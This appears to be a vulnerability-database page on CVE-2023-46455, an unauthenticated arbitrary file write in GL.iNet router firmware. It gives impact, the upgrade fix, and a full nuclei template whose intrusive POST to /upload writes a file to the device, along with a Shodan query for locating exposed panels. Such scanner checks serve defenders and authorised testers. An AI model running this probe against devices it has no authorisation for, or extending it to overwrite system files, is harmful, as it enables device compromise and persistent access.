Browse / CVEs / CVE-2023-46455
CVE-2023-46455· gl-inet / gl-ar300m firmware· CWE-22
GL.iNet <= 4.3.7 - Arbitrary File Write
highseverity
7.5CVSS score
47%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
Impact
Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access.
Fix
Upgrade GL.iNet devices to firmware version 4.3.8 or later.
How to confirm it
Send: GET /
Positive when: contains "GL.iNet"
Send: POST /upload
Positive when: contains "File uploaded successfully" AND status 200Run it with nuclei: nuclei -id CVE-2023-46455 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-46455
info:
name: GL.iNet <= 4.3.7 - Arbitrary File Write
author: Zierax
severity: high
description: |
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
impact: |
Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access.
remediation: |
Upgrade GL.iNet devices to firmware version 4.3.8 or later.
reference:
- https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-46455
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2023-46455
cwe-id: CWE-22
epss-score: 0.46966
epss-percentile: 0.9884
cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gl-inet
product: gl-ar300m_firmware
shodan-query: title:"GL.iNet Admin Panel"
tags: cve,cve2023,gl-net,file-upload,intrusive,vuln
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
file: "{{to_lower(rand_text_alpha(4))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "GL.iNet"
internal: true
case-insensitive: true
- raw:
- |
POST /upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
X-Requested-With: XMLHttpRequest
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="sid"
{{auth_token}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="size"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="path"
/tmp/{{string}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="file"; filename="{{file}}"
Content-Type: application/octet-stream
{{string}}
-----------------------------81419250823331111993422505835--
matchers-condition: and
matchers:
- type: word
part: body
words:
- "File uploaded successfully"
- type: status
status:
- 200References
- https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-46455
Use this check only on systems you are authorised to test. Where the data comes from